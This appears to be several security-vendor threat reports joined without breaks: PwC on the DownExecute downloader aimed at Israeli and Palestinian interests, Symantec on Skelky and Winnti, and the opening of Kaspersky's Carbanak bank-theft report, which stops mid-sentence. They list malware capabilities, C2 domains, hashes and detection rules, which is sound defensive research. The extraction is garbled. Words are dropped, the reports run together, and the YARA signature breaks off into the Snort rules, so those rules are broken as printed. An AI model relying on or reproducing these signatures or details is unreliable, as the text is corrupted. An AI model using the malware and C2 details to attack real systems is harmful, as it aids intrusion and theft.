/Screen-Shot-2015-02-25-at-5.20.37-PM.png 40. http://www.threatconnect.com/news/wp-content/uploads/2015/12 /Screen-Shot-2015-02-25-at-5.20.37-PM.png 41. http://www.threatconnect.com/news/wp-content/uploads/2015/12 /Screen-Shot-2015-02-23-at-9.22.35-AM.png 42. http://www.threatconnect.com/news/wp-content/uploads/2015/12 /Screen-Shot-2015-02-23-at-9.22.35-AM.png 43. http://www.threatconnect.com/news/wp-content/uploads/2015/12 /Translation.png 44. http://www.threatconnect.com/news/wp-content/uploads/2015/12 /Translation.png 45. https://scholar.google.com/citations?user=BoorASIAAAAJ&hl=zh-CN 46. http://www.researchgate.net/pro le/Song_Yubo 47. http://www.threatconnect.com/news/wp-content/uploads/2015/12 /yubo-stacked.png 48. http://www.threatconnect.com/news/wp-content/uploads/2015/12 /yubo-stacked.png 49. http://www2.gwu.edu/~nsarchiv/NSAEBB/NSAEBB424/docs/Cyber066.pdf 50. http://www.threatconnect.com/news/wp-content/uploads/2015/12 /relationships.jpg 51. http://www.threatconnect.com/news/wp-content/uploads/2015/12 /relationships.jpg 52. http://www.threatconnect.com/news/wp-content/uploads/2015/12 /Screen-Shot-2015-02-26-at-4.12.20-PM.png 32 of 33 03/22/2015 10:14 PM http://www.threatconnect.com/news/the-anthem-... 53. http://www.threatconnect.com/news/wp-content/uploads/2015/12 /Screen-Shot-2015-02-26-at-4.12.20-PM.png 54. http://www.uscc.gov/sites/default/ les/Mulvenon_Bio.pdf 55. http://www.defensegroupinc.com/index.html 56. http://www.theguardian.com/world/us-embassy-cables-documents /214462 57. http://www.threatconnect.com/news/wp-content/uploads/2015/12 /lin-yong-lion.png 58. http://www.threatconnect.com/news/wp-content/uploads/2015/12 /lin-yong-lion.png 59. http://blogs.wsj.com/chinarealtime/2011/10/05/patriotic-chinesehacking-group-reboots/ 60. https://app.threatconnect.com/tc/auth/adversary /adversary.xhtml?adversary=726175 61. https://app.threatconnect.com/tc/auth/document /document.xhtml?document=726190 62. http://www.threatconnect.com/product/product_editions 33 of 33 03/22/2015 10:14 PM Attacks against Israeli & Palestinian interests - Cyber security updates pwc.blogs.com Updated Apr 27th, 2015 Attacks against Israeli & Palestinian interests 27 April 2015 By Tom Lancaster Follow @tlansec Executive Summary This short report details the techniques being used in a series of attacks mostly against Israel based organisations. The decoy documents and filenames used in the attacks suggest the intended targets include organisations with political interests or influence in Israel and Palestine. Although we are unable to link this campaign to any already documented in open source, it bears similarities to some described by others previously[1],[2]. The earliest samples in the campaign we have identified date back to the summer of 2014. The number of samples discovered and relatively small scale of infrastructure suggest the attackers have limited resources with which to conduct attacks. Introduction Our investigation begins by taking a look at the following file: ecc240f1983007177bc5bbecba50eea27b80fd3d14fd261bef6cda10b8ffe1e9. According to the analysis published on malwr.com[3], this file was originally named Israel Homeland Defense Directory 2015 _Secured_.exe and, once executed, the following decoy document was presented: The initial file in this case is a self extracting RAR file that contains three components, including a decoy document (in this case, the PDF shown above) and the malware. Further inspection of the malware extracted showed it wasn t a family our analysts recognised. This, coupled with the nature of the decoy document used, led us to take a more in depth look at the malware, and associated infrastructure. d like to give special thanks to Eyal Sela of ClearSky Security for his collaborative efforts in this research. Delivery The most common way this malware packaged is via a self extracting RAR file however the attackers also appear to have used a number of other solutions to drop their malware, including a Visual Basic based wrapper and an Auto IT based wrapper. In terms of how the malware is delivered, it s most likely that it s done via spearphishing. For example, there are also several occasions where the VirusTotal tab suggests that the original dropper was available to download on a 3rd party website. In the case of the sample discussed in the introduction we can see: Pomf.se is a relatively low profile file sharing/hosting website currently based in Sweden. The use of Pomf.se is a relatively low profile file sharing/hosting website currently based in Sweden. The use of key file sharing sites appears to be a feature of the campaign as far as we can tell, with a few other similar sites being used in the same way. This, in conjunction with the nature of the related files we have discovered (all of them are directly executable files) means it is likely that the malware is primarily delivered via spear phishing attempts, rather than any other method. DownExecute Brief Analysis In this analysis, we ll go over the file with a SHA256 hash of ecc240f1983007177bc5bbecba50eea27b80fd3d14fd261bef6cda10b8ffe1e9. ve chosen to refer to the malware as DownExecute due to the .pdb string left in the malware (leaving debug paths in malware seems to be very fashionable at the moment All variants of the DownExecute malware we ve identified come packaged in the following fashion: From the samples we have analysed so far, the decoy application included is never used by the binary, and is presumably included so that anyone taking a cursory look at the file will conclude it is in fact the real deal. Whilst the cURL[4] binary included is used for internet connectivity but it s currently unclear why the attackers chose to use this method of adding connectivity to their file. Some of the binaries are also self signed: So what can this malware do? Not all that much s just a downloader. Before execution, the malware makes a couple of checks to avoid analysis, including checking for the presence of a debugger using IsDebuggerPresent as well as checking for the presence of VirtualBox by looking for the device name \\.\VBoxMiniRdrDN: The malware also checks for the presence of several anti virus solutions, as well for any processes including the word security The malware then proceeds to decrypt some basic configuration data, including the command & control domain, and information about the origin of the infection, tracked via ID: Meanwhile, the malware begins calling home, whilst also keeping a log of its actions in a plaintext file that is created in the same folder as where the binary was executed from. After successful compromise It appears as though the clue for the main functionality of this malware is in its name (it downloads, and then executes) files, as it offers little else for the attacker. The DownExecute malware is used as a way for the attackers to gain an initial foothold on the victim machine. The basic information reported back by the malware would also certainly allow the attacker a way to triage infections to ensure they had reached their intended victim rather than a researcher. We don t have great visibility into post compromise activity at this stage however there are a number of other malware samples which communicate with the same infrastructure as the DownExecute samples. s not unreasonable to infer that if these are more fully featured backdoors, that they are likely the 2nd stage malware families used in conjunction with DownExecute. Specifically, we ve observed the well documented Xtreme RAT and Poison Ivy malware families in use with the same domain names as DownExecute. The Poison Ivy passwords observed for the group were admin2014 and admin!@#$% Command & Control Infrastructure The vast majority of infrastructure in terms of hostnames observed associated with these attacks have been dynamic DNS domains, primarily associated with no ip.com. This provider is popular with several Middle Eastern threat actors tracked by PwC s intelligence team. In terms of the size of the infrastructure used in the campaign using the tools described, it s also fairly small, as shown on our Maltego graph. The attackers have made an unusual choice with respect to the hosting providers used for the malicious infrastructure. Most of the domains at the time of writing, and indeed historically, have pointed to IP address space owned by Host Sailor, geo located in Belize. Many of the threat actors in the Middle East that we re familiar with have extremely volatile IP hosting, owing to the fact that the infrastructure is likely to be hosted on their own networks. This remote hosting therefore somewhat bucks the trend of some of to be hosted on their own networks. This remote hosting therefore somewhat bucks the trend of some of the other actors we see from the region. Inferred Targeting As we have mentioned in a number of our other reports[5], attackers often use C&C domains which contain phrases relevant to their targets so as to make them appear legitimate. With this in mind we performed some simple analysis on the domain names used in this campaign to identify legitimate organisations being impersonated. For a full list of C&Cs used, please see Appendix B. Domain name Legitimate Entity Description Rotter2.sytes.net rotter.net Israeli news outlet haartezenglish.strangled.net haaretz.co.il Israeli news outlet wallanews.sytes.net walla.co.il Israeli news outlet ynet.sytes.net ynet.co.il Israeli news outlet safar.selfip.com Safar Islamic 2nd month depka.sytes.net debka.com Israeli news outlet As shown, there appears to be a theme here, with a number of Israeli news organisations being used as C&C themes and hence probably being targeted. So do we believe this campaign is focused only at Israeli companies? Perhaps not entirely. Targeting Whilst there are a number of documents clearly aimed at Israeli nationals , using political and military themes, one of the lures[6] included an Arabic language decoy document pictured below: The document in question discusses an alleged leak of information relating to Abbas, leader of the Palestine Liberation Organization. Whilst this is a subject which is clearly of key interest to all parties in the region, the fact the attackers sent an Arabic language version of the story may indicate that the recipient was expected to be fluent in Arabic, and possibly therefore less likely to be Israeli, but rather someone from another adjacent region. Conclusion Whilst, in this case, we re unable to attribute this set of activity to a specific group or entity in the Middle East, it does bear a significant resemblance to many attacks seen from the Middle East that have been previously documented. Specifically, the following aspects of this campaign remind us of existing write ups on Middle Eastern campaigns: Consistent use of the dynamic DNS provider no ip.com and associated domains: it s unclear why there is a preference for this, however in several videos on Arabic language underground forums the video creators recommend using no ip.com as opposed to other dynamic DNS providers Use of publically available malware: many groups operating in the Middle East use malware families (such as Poison Ivy/Xtreme RAT) which are publically available rather than developing their own binaries Variety of targeting: the targeting seems entirely restricted to Middle Eastern issues and, whilst there appears to be a heavy focus on Israel in the decoy documents we ve observed, there is the possibility that Palestinians have been targeted as well. This is consistent with the complex relationships between the different nations and political groups in the region Password schema: In their August 2013 blog , FireEye noted that a group they refer to as MoleRats used Poison Ivy and Xtreme RAT, in conjunction with a password of !@#GooD#@! The keyboard walk used for the symbols across the top of a keyboard is similar to the password observed in some of our Poison Ivy samples. The fact that the attackers chose to develop their own dropper may be indicative that their biggest problem when conducting network intrusions is getting their foot in the door particularly as it seems as though they still prefer the more fully featured Poison Ivy and Xtreme RAT backdoors as 2nd stage malware families. When we pivoted and looked for the earliest examples of the DownExecute malware, the first samples we could find were compiled in June 2014. We have no reason to believe in this case that the threat actor has tampered with the compile time on any samples, as all other samples discovered were identified shortly after they were compiled. As such we believe the campaign using this downloader malware has been on going for approximately 12 months. Appendix A Samples SHA256 8993a516404c0dd62692f3ce5055d4ddee7e29ad4bb6aa29f67114eeeaee26b9 bfe727f2f238f11eb989e5b76efd24ad2b41df3cf7dabf7077dfaace834e7f03 dad34d2cb2aa9662d4a4148481ae018f5816498f30cc7aee4919e0e9fe6b9e08 2cb9df0d52d09c98f0a97ce71eb8805f224945cadab7d615ef0257b7b09c80d3 f53fd5389b09c6ad289736720e72392dd5f30a1f7822dbc8c7c2e2b655b4dad9 1d533ddaefc7859a3f6c6751114e895b7aa5935eb0ed68b01ec61aa8560ae3d9 95b2f926ae173ab45d6dac4039f0b91eb24699e6d11b621bbcebd860752e5d5e da63f6392ce6af83f6d944fa1bd3f28082345fec928647ee7ef9939fac7b2e6c a7aeeead233fcdfe1c7475db982497a82d8ae745ec1c58bd87215e8869c3f9e4 2eb7aa306551d693691d14558c5dc4f6d80ef8f69cf466149fbba23953c08f7f e945b055fb4057a396506c74f73b873694125e6178a40d10cabf24b2d89d598f c9e084eb1ce1066ee063f860c13a8f7d2ead97495036855fc956dacc9a24ea68 047e8d542e2fcdf0f4dd45e2b19848771d01abc90d161d05242b79c52cdd248d 25e6bf67410dffb95c527c19dcff5223dbc3bf4c987650e45fbea1267072e8ff b0edbd0f44df72e0fad3fb73948444a4df5143ed954c9116eb1a7b606841f187 da63f6392ce6af83f6d944fa1bd3f28082345fec928647ee7ef9939fac7b2e6c de3e25a69ba43b9f236e544ece7f2da82a4fafb4489ad2e263754d9b9d88bc5c ecc240f1983007177bc5bbecba50eea27b80fd3d14fd261bef6cda10b8ffe1e9 f969bf3b7a9821b3b2d5de889b5af7af25972b25ba59e4e9439f87fe90f1c404 14be3a9a2a4261cb365915e720486a0632dbebb06fe68fb669ae67aa9b18507b 488ba22d6cb8c9b0310c58fa4c4739692cdf45676c3164b357314322542f9dff b3a47e0bc0af49b46bc0c1158089bf200856ff462a5334df2b5c11e69c8b1ada 324ce011b913feec4adb916f32c743a243f07dccb51b49c0122c4fa4a8e2bded d6df5943169b48ac58fc28bb665fe8800c265b65fff8a2217b70703a4d3a7277 88e7a7e815565b92af81761ae7b9153b7507677df3d3b77e8ce68787ad1826d4 f51d4155534e10c09b531acc41458e8ff3b7879f4ee7d3ee99f16180c4caf0ee b3a47e0bc0af49b46bc0c1158089bf200856ff462a5334df2b5c11e69c8b1ada bc846caa05939b085837057bc4b9303357602ece83dc1380191bddd1402d4a2b Appendix B C&C Infrastructure Value Value Type cbbnews.tk Domain haartezenglish.redirectme.net Domain wallanews.sytes.net Domain kaliob.selfip.org Domain deapka.sytes.net Domain download.likescandy.com Domain orango.redirectme.net Domain ynet.sytes.net Domain kaswer12.strangled.net Domain nazer.zapto.org Domain rotter2.sytes.net Domain kaswer13.zapto.org Domain tango.zapto.org Domain kolabdown.sytes.net Domain rotter2.publicvm.com Domain safar.selfip.com Domain bandao.publicvm.com Domain safari.linkpc.net Domain thenewupdate.chickenkiller.com Domain backjadwer.bounceme.net Domain ajaxo.zapto.org Domain downloadskype.cf Domain redirectlnk.redirectme.net Domain thenewupdatee.redirectme.net Domain chromeupdt.tk Domain duntat.zapto.org Domain ynet.ignorelist.com Domain haartezenglish.strangled.net Domain gaonsmom.redirectme.net Domain store legal.biz Domain fastbingcom.sytes.net Domain downloadlog.linkpc.net Domain downloadmyhost.zapto.org Domain depka.sytes.net Domain wallanews.publicvm.com Domain noredirecto.redirectme.net Domain safara.sytes.net Domain help2014.linkpc.net Domain totoman.no ip.biz Domain lilian.redirectme.net Domain webfile.myq see.com Domain 185.33.168.150 IPv4 Address 185.45.193.4 IPv4 Address 167.114.62.213 IPv4 Address 131.72.136.11 IPv4 Address 131.72.136.171 IPv4 Address 192.253.246.169 IPv4 Address 198.105.122.96 IPv4 Address 131.72.136.124 IPv4 Address 107.168.129.29 IPv4 Address 198.105.122.9 IPv4 Address Appendix C Signatures rule DownExecute_A meta: author = "PwC Cyber Threat Operations :: @tlansec" date = "2015 reference = "http://pwc.blogs.com/cyber_security_updates/2015/04/attacks against israeli palestinia interests.html" description = Malware is often wrapped/protected, best to run on memory strings: $winver1 = "win 8.1" $winver2 = "win Server 2012 R2" $winver3 = "win Srv 2012" $winver4 = "win srv 2008 R2" $winver5 = "win srv 2008" $winver6 = "win vsta" $winver7 = "win srv 2003 R2" $winver8 = "win hm srv" $winver9 = "win Strg srv 2003" $winver10 = "win srv 2003" $winver11 = "win XP prof x64 edt" $winver12 = "win XP" $winver13 = "win 2000" $pdb1 = "D:\\Acms\\2\\docs\\Visual Studio 2013\\Projects\\DownloadExcute\\DownloadExcute\\Release\\DownExecute.pdb" $pdb2 = "d:\\acms\\2\\docs\\visual studio 2013\\projects\\downloadexcute\\downloadexcute\\downexecute\\json\\rapidjson\\writer.h" $pdb3 = ":\\acms\\2\\docs\\visual studio 2013\\projects\\downloadexcute\\downloadexcute\\downexecute\\json\\rapidjson\\internal/stack.h" $pdb4 = "\\downloadexcute\\downexecute\\" $magic1 = " any any (msg:" [PwC CTD] Unclassified Middle Eastern Actor DownExecute URI (/dw/gtk)" flow:established,to_server urilen:7 content:"/dw/gtk" http_uri depth:7 content:"GET" http_method content:!"User Agent:" http_header content:!"Referer:" http_header http_method content:!"User Agent:" http_header content:!"Referer:" http_header reference:md5,4dd319a230ee3a0735a656231b4c9063 classtype:trojan activity metadata:tlp WHITE,author @ipsosCustodes sid:99999901 rev:2015200401 alert http any any > any any (msg:" [PwC CTD] Unclassified Middle Eastern Actor DownExecute URI (/dw/setup)" flow:established,to_server urilen:>8 content:"/dw/setup" http_uri depth:9 content:"POST" http_method reference:md5,4dd319a230ee3a0735a656231b4c9063 classtype:trojan activity metadata:tlp WHITE,author @ipsosCustodes sid:99999902 rev:2015200401 alert http any any > any any (msg:" [PwC CTD] Unclassified Middle Eastern Actor DownExecute Headers" flow:established,to_server urilen:>7 content:"Accept */*" http_client_body content:"Content Type: multipart/form data\ boundary= http_header content: "ci_session=" http_cookie depth:11 content: "POST" http_method content:!"Referer:" http_header content:!"User Agent:" http_header reference:md5,4dd319a230ee3a0735a656231b4c9063 classtype:trojan activity metadata:tlp WHITE,author @ipsosCustodes sid:99999903 rev:2015200401 https://github.com/kbandla/APTnotes/blob/master/2012/Cyberattack_against_Israeli_and_Palestinian_ta rgets.pdf [2] https://www.fireeye.com/blog/threat research/2013/08/operation molerats middle east cyber attacks using poison ivy.html [3] https://malwr.com/analysis/N2I1YmExMjNkMmM3NGQwMThlNjg5YmI4OGY3Mjc3ZmI [4] http://curl.haxx.se [6] ca78b173218ad8be863c7e00fec61f2f [7] https://www.fireeye.com/blog/threat research/2013/08/operation molerats middle east cyber attacks using poison ivy.html Evernote makes it easy to remember things big and small from your everyday life using your computer, tablet, phone and the web. Terms of Service Privacy Policy Backdoor.Winnti attackers have a skeleton in their closet? New evidence suggests that the skeleton key malware, known as Trojan.Skelky, could be linked to the Backdoor.Winnti malware family. By: Gavin O GormanSymantec Employee Created 29 Jan 2015 Contributor: Nikolas Tsapkis On January 12, 2015, Dell Secureworks blogged about a tool (Trojan.Skelky) that allows attackers to use a password of their choosing to authenticate as any user. The Skelky (from skeleton key) tool is deployed when an attacker gains access to a victim s network; the attackers may also utilize other tools and elements in their attack. Symantec has analyzed Trojan.Skelky and found that it may be linked to the Backdoor.Winnti malware family. The attackers behind the Trojan.Skelky campaign appear to have been using the malware in conjunction with this back door threat. It s unclear if the malware family Backdoor.Winnti is used by one attack group or many groups. During our research, we also found that Trojan.Skelky has been active over the past two years. Within this timeframe, we have seen new variants and a consistent hashed password value. Where is Trojan.Skelky being used? 1 of 3 Symantec telemetry identified the skeleton key malware on compromised computers in five organizations with offices in the United States and Vietnam. The exact nature and names of the affected organizations is unknown to Symantec. The first activity was seen in January 2013 and until November 2013, there was no further activity involving the skeleton key malware. In November 2013, the attackers increased their usage of the tool and have been active ever since. Four more variants of Trojan.Skelky were discovered as well as additional file names used by the attackers. The complete set of observed file names and hashes are listed as follows msuta64.dll: 66da7ed621149975f6e643b4f9886cfd ole64.dll: bf45086e6334f647fda33576e2a05826 HookDC64.dll: bf45086e6334f647fda33576e2a05826 HookDC.dll: a487f1668390df0f4951b7292bae6ecf HookDC.dll: 8ba4df29b0593be172ff5678d8a05bb3 HookDC.dll: f01026e1107b722435126c53b2af47a9 ole64.dll: f01026e1107b722435126c53b2af47a9 olex64.dll: f01026e1107b722435126c53b2af47a9 HookDC64.dll: f01026e1107b722435126c53b2af47a9 ole.dll: f01026e1107b722435126c53b2af47a9 HookDC.dll: 747cc5ce7f2d062ebec6219384b57e8c ole.dll: 747cc5ce7f2d062ebec6219384b57e8c The link between Trojan.Skelky and Backdoor.Winnti From the first observed use of the tool in January 2013 to the present, the attackers have consistently used the same password. This is the case with three different variants of the tool. The regular use of the same password across multiple variants means it s likely that only one group of attackers has been using the tool until at least January 2015. By identifying any other malware active on compromised computers at the same time as Trojan.Skelky, it is possible to learn more about the attackers. There were almost no signs of other malware active at the same time as Skelky in most of the organizations investigated. However, two compromised computers had other malware present, active, and in the same directory, at the same time as Trojan.Skelky. Two files were discovered on one of the victim s computers. One file is a variant of Backdoor.Winnti (jqs.exe) and the other is a dropper for Backdoor.Winnti (tmp8296.tmp), which is responsible for creating the Backdoor.Winnti sample. Details on the file names and hashes are as follows: jqs.exe (Backdoor.Winnti dropper): 600b604784594e3339776c6563aa45a1 tmp8296.tmp (Backdoor.Winnti variant): 48377c1c4cfedebe35733e9c3675f9be Backdoor.Winnti has been used in the past in a number of different campaigns, most notably against Asian games companies. Given the disparate nature of some victims, it s unclear if the malware is used by one set of attackers, or many. Symantec is continuing its investigation into this malware familyBackdoor.Winnti and the specific actors behind the combined use of Backdoor.Winnti and Trojan.Skelky. 2 of 3 Symantec and Norton protection Symantec and Norton products have the following protections against the skeleton key malware: Trojan.Skelky Customers with Behaviour-Based Protection enabled are protected with the signature SONAR.Module!gen3. 3 of 3 CARBANAK APT THE GREAT BANK ROBBERY Version 2.0 February, 2015 #TheSAS2015 #Carbanak Table of contents 1. Executive Summary............................................................................................3 2. Analysis................................................................................................................5 2.1 Infection and Transmission.........................................................................5 2.2 Malware Analysis Backdoor.Win32.Carbanak.......................................7 2.3 Lateral movement tools........................................................................... 18 2.4 Command and Control (C2) Servers........................................................ 19 3. Conclusions...................................................................................................... 23 APPENDIX 1: C2 protocol decoders..................................................................... 24 APPENDIX 2: BAT file to detect infection............................................................. 27 APPENDIX 3: IOC hosts........................................................................................ 28 APPENDIX 4: Spear phishing............................................................................... 34 APPENDIX 5: MD5 hashes of Carbanak samples.............................................. 36 TLP: White For any inquiries, please contact intelreports@kaspersky.com 1. Executive Summary From late 2013 onwards, several banks and financial institutions have been attacked by an unknown group of cybercriminals. In all these attacks, a similar modus operandi was used. According to victims and the law enforcement agencies (LEAs) involved in the investigation, this could result in cumulative losses of up to 1 billion USD. The attacks are still active. This report provides a technical analysis of these attacks. The motivation for the attackers, who are making use of techniques commonly seen in Advanced Persistent Threats (APTs), appears to be financial gain as opposed to espionage. An analysis of the campaign has revealed that the initial infections were achieved using spear phishing emails that appeared to be legitimate banking communications, with Microsoft Word 97 2003 (.doc) and Control Panel Applet (.CPL) files attached. We believe that the attackers also redirected to exploit kits website traffic that related to financial activity. The email attachments exploit vulnerabilities in Microsoft Office 2003, 2007 and 2010 (CVE-2012-0158 and CVE-2013-3906) and Microsoft Word (CVE-20141761). Once the vulnerability is successfully exploited, the shellcode decrypts and executes the backdoor known as Carbanak. Carbanak is a remote backdoor (initially based on Carberp), designed for espionage, data exfiltration and to provide remote access to infected machines. Once access is achieved, attackers perform a manual reconnaissance of the victim s networks. Based on the results of this operation, the attackers use different lateral movement tools in order to get access to the critical systems in the victim s infrastructure. They then install additional software such as the Ammyy Remote Administration Tool, or even compromise SSH servers. Notably, some of the latest versions of the analyzed Carbanak malware appear not to use any Carberp source code. Once the attackers successfully compromise the victim s network, the primary internal destinations are money processing services, Automated Teller Machines (ATM) and financial accounts. In some cases, the attackers used the Society for Worldwide Interbank Financial Telecommunication (SWIFT) network to transfer money to their accounts. In others, Oracle databases were manipulated to open payment or debit card accounts at the same bank or to transfer money between TLP: White For any inquiries, please contact intelreports@kaspersky.com accounts using the online banking system. The ATM network was also used to dispense cash from certain ATMs at certain times where money mules were ready to collect it. As part of the attack s reconnaissance phase, video recordings of the activities of bank employees, particularly system administrators, were made. The videos were sent to the C2 server. Please note that the attackers abused the aforementioned services by impersonating legitimate local users who had the permissions to perform the actions later reproduced by the cybercriminals. As far as we know, none of the aforementioned services were attacked nor was any specific vulnerability within them exploited. Of the 100 banking entities impacted at the time of writing this report, at least half have suffered financial losses, with most of the victims located in Russia, USA, Germany, China and Ukraine. The magnitude of the losses is significant. For example, one victim lost approximately $7.3 million (USD) due to ATM fraud; another suffered a $10 million (USD) loss due to the exploitation of its online banking platform. Stolen funds were transferred out of the affected countries to bank accounts in the US and China. Additionally some of the C2 servers have log entries indicating connections to systems located in the US. Telemetry indicates that the attackers are expanding operations to other regions, such as Asia, the Middle-East, Africa and Europe. This report discusses the attack vectors, infection mechanisms and toolkits used by the attackers to exploit the network after the initial infection, as well as the operational details and geographical distribution of this campaign. TLP: White For any inquiries, please contact intelreports@kaspersky.com 2. Analysis During the spring of 2014, Kaspersky Lab was involved in a forensic analysis of ATMs dispensing cash to people located near them but with no physical interaction according to security cameras. No malware was detected on these ATMs. However, Carberp-like malware was found on a computer that was connected to them via VPN. Following the investigation of this incident, in the summer of 2014, Kaspersky Lab identified the same Carberp-like malware in another investigation involving a bank, where criminals were able to gain access to its online banking systems. In this investigation, we started analyzing all the computers in the bank infrastructure in order to find the source of the infection. We found spear phishing emails with CPL files attached that, after a successful infection, install the same Carberp-like malware we had previously found in the case involving the ATMs. There is evidence indicating that in most cases the network was compromised for between two to four months, and that many hundreds of computers within a single victim organization may have been infected. This period of time was used by the attackers to get access to the right victims and critical systems, and to learn how to operate their tools and systems to get the cash out. Carbanak contains an espionage component that allows the attackers to take control of video capabilities on the victim systems. Thanks to this, long term observation and reconnaissance could be conducted. This allowed the attackers to understand the protocols and daily operational tempo of their targets. Based on this understanding, exploitation methodologies and mechanisms were developed and tailored to each victim. 2.1 Infection and Transmission All observed cases used spear phishing emails with Microsoft Word 97 2003 (.doc) files attached or CPL files. The doc files exploit both Microsoft Office (CVE2012-0158 and CVE-2013-3906) and Microsoft Word (CVE- 2014-1761). There are indicators that point to a possible Chinese origin for the exploits used in these attachments. Command and Control (C2) servers located in China have been identified in this campaign. In addition, registration information for some of the domains use details of supposedly Chinese citizens. Obviously, all this could just be a red herring. TLP: White For any inquiries, please contact intelreports@kaspersky.com The targets were all employees affiliated to the affected institution. The spear phishing email messages appeared legitimate and in some cases were sent from compromised coworkers accounts. In this way compromised systems were used as a transmission vector. Given that the victims were mostly Russian-speaking financial institutions, the names of the attachments we have identified were generally in Russian. Examples include -115 and which translate into Accordance to Federal Law and Invitation respectively. This is enough to induce a typical employee to open the attachment and execute the malware. For a complete list of file names see Appendix 4. The following is an example of a Carbanak spear phishing email: Translated: In this case, the attachment was a CPL file compressed using the Roshal Archive (.rar) format. Once the remote code execution vulnerability is successfully exploited, it installs Carbanak on the victim's system. The complete list of observed spear phishing emails can be found in Appendix 1 Spear phishing. An additional infection vector that we believe was used by the criminals is a classical drive-by-download attack. We have found traces of the Null and the RedKit exploits kits. TLP: White For any inquiries, please contact intelreports@kaspersky.com Figure 1. Null Exploit Kit statistics on victims, found in one Carbanak C2 The image above translates as Country_name, All visitors, Unique visitors, Banned visitor, Revoked infections, Infected. 2.2 Malware Analysis Backdoor.Win32.Carbanak Carbanak is a backdoor used by the attackers to compromise the victim's machine once the exploit, either in the spear phishing email or exploit kit, successfully executes its payload. This section provides a functional analysis of Carbanak capabilities. Carbanak copies itself into %system32%\com with the name svchost.exe with the file attributes: system, hidden and read-only. The original file created by the exploit payload is then deleted. To ensure that Carbanak has autorun privileges the malware creates a new service. The naming syntax is Sys where ServiceName is any existing service randomly chosen, with the first character deleted. For example, if the existing service s name is aspnet and the visible name is Asp.net state TLP: White For any inquiries, please contact intelreports@kaspersky.com service , the service created by the malware would be aspnetSys with a visible name of Sp.net state service Before creating the malicious service, Carbanak determines if either the avp.exe or avpui.exe processes (components of Kaspersky Internet Security) is running. If found on the target system, Carbanak will try to exploit a known vulnerability in Windows XP, Windows Server 2003, Windows Vista, Windows Server 2008, Windows 7, Windows 8, and Windows Server 2012, CVE-2013-3660, for local privilege escalation. We believe this is not relevant and that the attackers adapt their tools to the victim s defenses. Carbanak creates a file with a random name and a .bin extension in %COMMON_APPDATA%\Mozilla where it stores commands to be executed. Then the malware gets the proxy configuration from the registry entry: [HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings] and the Mozilla Firefox configuration file in: %AppData%\Mozilla\Firefox\\prefs.js How to detect Carbanak One of the best methods for detecting Carbanak is to look for .bin files in the folder: ..\All users\%AppData%\Mozilla\ The malware saves files in this location that will later be sent to the C2 server when an internet connection is detected. A .BAT script for detecting infections is provided in the Appendixes. Additionally, Carbanak can obtain proxy configuration information from headers sent through an application via SOCKS or HTTP. Carbanak injects its code into svchost.exe. Most of the actions described below happen within this process. Carbanak downloads the file kldconfig.plug from its C2 server. This file includes the names of the processes to be monitored. Once the system is infected, Carbanak logs keystrokes and takes screenshots every 20 seconds. This monitoring is performed by intercepting the ResumeThread call. TLP: White For any inquiries, please contact intelreports@kaspersky.com To enable connections to the infected computer using the Remote Desktop Protocol (RDP), Carbanak sets Termservice service execution mode to Auto. Also, after executing this service, it modifies the executable code in memory in order to establish simultaneous work processes for both remote and local users. Modules modified in this process are: termsrv.dll, csrsrv.dll, msgina.dll and winlogon.exe. If Carbanak detects the banking application BLIZKO (funds transfer software) in the infected computer, it sends a special notification to its C2 server. Carbanak is also aware of the IFOBS banking application and can, on command, substitute the details of payment documents in the IFOBS system. To communicate with its C2 server, Carbanak uses the HTTP protocol with RC2+Base64 encryption, adding additional characters not included in Base64. It also inserts strings with different extensions (.gif,.htm, etc.) at random locations in the HTTP request. Example of a typical Carbanak request: Carbanak sends its collected monitoring data to its C2 server. It also receives commands. The commands are compared with a hash table; if there is a match Carbanak performs the associated action: Hash Command 0AA37987 Description Executes all commands stored in the configuration file. 7AA8A5 state Sets malware state flag. 7CFABF video Sends captured screen or process window video to C2. 6E533C4 download Downloads and runs executable file from C2. Executable file is stored in %TEMP% with a random name. 684509 ammyy Downloads and run Ammy Admin remote control software and adds it to the system s firewall exclusion list. 7C6A8A5 update Malware update. 0B22A5A7 Monitoring configuration update ( klgconfig.plug 0B77F949 Unknown. TLP: White For any inquiries, please contact intelreports@kaspersky.com Hash Command Description 7203363 killos Kills the operating system through the following actions: 1- Puts in ImagePath registry [HKLM\SYSTEM\ControlSet001\ services\ACPI], [HKLM\SYSTEM\ControlSet002\services\ACPI] and [HKLM\SYSTEM\CurrentControlSet\services\ACPI] bad data. 2- Writes bytes with value zero into the first 512 bytes of hardrive \\.\PHYSICALDRIVE0 Then reboots. 78B9664 reboot OS reboot. 7BC54BC tunnel Creates network tunnel to specified network address, routing all traffic there. 7B40571 adminka Uses specified proxy settings. 79C9CC2 server Changes C&C server. 7C9C2 user Creates or deletes user. 78B0 Modifies termsrv.dll csrsrv.dll, msgina.dl and winlogon. modules. Modification allows multiple connections via RDP protocol and makes RDP persistent. 79BAC85 secure Loads and overwrites .dll responsible for passwords policy. New .dll location points to Notification Packages [HKLM\ System\ CurrentControlSet\Control\Lsa] registry key. 6ABC Deletes specified service or file. 0A89AF94 Executes specified command hash. 79C53BD Loads and executes file from specified network location. File executes in memory and is not stored on the harddrive. 0F4C3903 Sends local user system password to C2. 0BC205E4 screenshot Creates and sends screenshots. 7A2BC0 sleep Turns off malware activity for a specified period of time. 6BC6C dupl Unknown. 4ACAFC3 7D43 Uploads specified file or directory. Establish VNC session. 9C4D055 Unknown. 2032914 Unknown. TLP: White For any inquiries, please contact intelreports@kaspersky.com In order to render the malware less suspicious, the latest Carbanak samples are digitally signed: 1. footprintcrsgn.dll MD5 08F83D98B18D3DFF16C35A20E24ED49A Figure 2. Carbanak digital signature TLP: White For any inquiries, please contact intelreports@kaspersky.com 2. PAExec_Move0.dat MD5 972092CBE7791D27FC9FF6E9ACC12CC3 Figure 3. Carbanak digital signature TLP: White For any inquiries, please contact intelreports@kaspersky.com One of Carbanak s lateral movement tools is also digitally signed: 3. PAExec-6980-PB-FS-01.ex_ MD5 86A5C466947A6A84554843D852478248 Figure 4. Carbanak lateral movement tool digital signature TLP: White For any inquiries, please contact intelreports@kaspersky.com Geographical Distribution Known samples of Carbanak have been uploaded to VirusTotal from the following locations: Figure 5. Countries from which Carbanak has been uploaded Known exploits that download Carbanak have been uploaded to VirusTotal mostly from Russia. TLP: White For any inquiries, please contact intelreports@kaspersky.com According to KSN data, victims are distributed geographically as follows: Figure 6. Geographical distribution of victims according to KSN data The analyzed Carbanak samples, excluding some obvious outliers, have the following compilation time distribution: Figure 7. Carbanak compilation timestamp distribution TLP: White For any inquiries, please 